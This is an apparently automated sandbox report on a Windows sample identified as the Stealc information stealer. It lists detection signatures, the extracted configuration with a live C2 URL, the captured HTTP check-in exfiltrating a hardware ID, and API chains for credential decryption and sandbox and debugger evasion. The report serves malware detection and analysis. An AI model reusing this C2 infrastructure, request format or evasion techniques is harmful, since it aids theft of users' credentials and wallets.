Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1543095
MD5:	e1d69985ce8b4cb34d5ceca422eb15c3
SHA1:	9382606ea46d759e13140c55d36ec6078c2186b1
SHA256:	0409e35a5fd1f875e55f4f615cb7e31376177a9e2f06e41209576346e9a4d4f7
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6492 cmdline: "C:\Users\user\Desktop\file.exe" MD5: E1D69985CE8B4CB34D5CECA422EB15C3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2191696889.0000000000D38000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2145893741.0000000004A40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6492	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6492	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.80000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T08:52:06.786046+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49710	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.80000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0008C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_0008C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00087240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00087240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00089AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00089AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00089B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00089B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00098EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00098EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000938B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_000938B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00094910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00094910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0008DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0008DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0008E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0008E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0008ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0008ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00094570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00094570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0008DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0008DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0008BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0008BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00093EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00093EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0008F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0008F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000816D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_000816D0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49710 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.206/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJKHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 30 33 39 45 34 35 34 36 41 36 38 39 34 36 31 37 39 39 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="hwid"6D039E4546A6894617998------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="build"puma------EGCBAFCFIJJJECBGIIJK--

Source: Joe Sandbox View

IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00084880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00084880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJKHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 30 33 39 45 34 35 34 36 41 36 38 39 34 36 31 37 39 39 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="hwid"6D039E4546A6894617998------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="build"puma------EGCBAFCFIJJJECBGIIJK--

Source: file.exe, 00000000.00000002.2191696889.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2191696889.0000000000D78000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2191696889.0000000000D64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2191696889.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/R
Source: file.exe, 00000000.00000002.2191696889.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2191696889.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php/
Source: file.exe, 00000000.00000002.2191696889.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php4Z
Source: file.exe, 00000000.00000002.2191696889.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpLZX
Source: file.exe, 00000000.00000002.2191696889.0000000000D64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/g
Source: file.exe, 00000000.00000002.2191696889.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00450887	0_2_00450887
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0033512E	0_2_0033512E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F41B3	0_2_004F41B3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0042E240	0_2_0042E240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0045C318	0_2_0045C318
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00443330	0_2_00443330
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004273C4	0_2_004273C4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00457BD8	0_2_00457BD8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00449CFB	0_2_00449CFB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00453D5E	0_2_00453D5E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0045957D	0_2_0045957D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0045DD14	0_2_0045DD14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003FE546	0_2_003FE546
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003ED698	0_2_003ED698
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0038BF62	0_2_0038BF62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00434F2E	0_2_00434F2E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0039F792	0_2_0039F792
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00455794	0_2_00455794
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0044B7AE	0_2_0044B7AE

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 000845C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: cjjmoofv ZLIB complexity 0.9947171138242499

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00099600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00099600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00093720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00093720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\X77RWQ8W.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1828352 > 1048576

Source: file.exe

Static PE information: Raw size of cjjmoofv is bigger than: 0x100000 < 0x198400

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.80000.0.unpack :EW;.rsrc :W;.idata :W; :EW;cjjmoofv:EW;pwxczyzg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;cjjmoofv:EW;pwxczyzg:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00099860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00099860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cd137 should be: 0x1c05e6

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: cjjmoofv
Source: file.exe	Static PE information: section name: pwxczyzg
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052405F push 6EF231CEh; mov dword ptr [esp], esp	0_2_005240D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E905F push ebx; mov dword ptr [esp], 69747B5Fh	0_2_004E908F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E905F push 73DBF815h; mov dword ptr [esp], edx	0_2_004E9133
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0055604D push esi; mov dword ptr [esp], eax	0_2_00556061
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046905A push 1CDDEEF1h; mov dword ptr [esp], ecx	0_2_004691CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046905A push ecx; mov dword ptr [esp], esi	0_2_00469666
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050204E push 456F5739h; mov dword ptr [esp], eax	0_2_0050207C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050204E push 42EAC9B2h; mov dword ptr [esp], edi	0_2_005020BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004C587F push 12FBED6Ah; mov dword ptr [esp], eax	0_2_004C590F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F8878 push 779A3AE9h; mov dword ptr [esp], esp	0_2_004F889E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0009B035 push ecx; ret	0_2_0009B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00538033 push 008AFF00h; mov dword ptr [esp], eax	0_2_0053811E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00538033 push 0CB8F81Ch; mov dword ptr [esp], edi	0_2_005381C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F00C6 push 6AC9A5A0h; mov dword ptr [esp], eax	0_2_004F00F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0030509B push 1212F1F1h; mov dword ptr [esp], edx	0_2_003050E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0030509B push 38B8A364h; mov dword ptr [esp], esi	0_2_00305195
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0030509B push edi; mov dword ptr [esp], ebp	0_2_003051AE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00450887 push eax; mov dword ptr [esp], ebx	0_2_004508BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00450887 push 08C1F3A9h; mov dword ptr [esp], edi	0_2_004508C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00450887 push 412A32A6h; mov dword ptr [esp], ebp	0_2_00450918
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00450887 push esi; mov dword ptr [esp], 7DD960E7h	0_2_0045091C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00450887 push 64194223h; mov dword ptr [esp], ebx	0_2_0045093A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00450887 push edx; mov dword ptr [esp], eax	0_2_00450A3B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00450887 push esi; mov dword ptr [esp], 11B20598h	0_2_00450A65
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00450887 push ecx; mov dword ptr [esp], esi	0_2_00450A78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00450887 push eax; mov dword ptr [esp], esi	0_2_00450AB3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00450887 push 365B3979h; mov dword ptr [esp], ecx	0_2_00450C1F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00450887 push ebp; mov dword ptr [esp], edx	0_2_00450C4C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00450887 push edi; mov dword ptr [esp], 00000001h	0_2_00450C53
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00450887 push 450F5CF0h; mov dword ptr [esp], esi	0_2_00450C61
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00450887 push 4A946D9Ah; mov dword ptr [esp], ecx	0_2_00450CD2

Source: file.exe

Static PE information: section name: cjjmoofv entropy: 7.953081730798391

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00099860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13555

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4628CD second address: 4628F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jp 00007F25ED41A9FCh 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007F25ED41A9F4h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 461C81 second address: 461CD0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F25EC6CB8F2h 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e jns 00007F25EC6CB8E6h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 push ecx 0x00000019 jmp 00007F25EC6CB8F0h 0x0000001e pushad 0x0000001f popad 0x00000020 pop ecx 0x00000021 jmp 00007F25EC6CB8F3h 0x00000026 push ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 461CD0 second address: 461CDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F25ED41A9E6h 0x0000000a pop ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 461CDE second address: 461CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 461E64 second address: 461E7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007F25ED41A9EEh 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 461E7D second address: 461EA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pushad 0x00000007 js 00007F25EC6CB8EAh 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F25EC6CB8ECh 0x00000016 push eax 0x00000017 jbe 00007F25EC6CB8E6h 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 461EA8 second address: 461EC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25ED41A9F5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
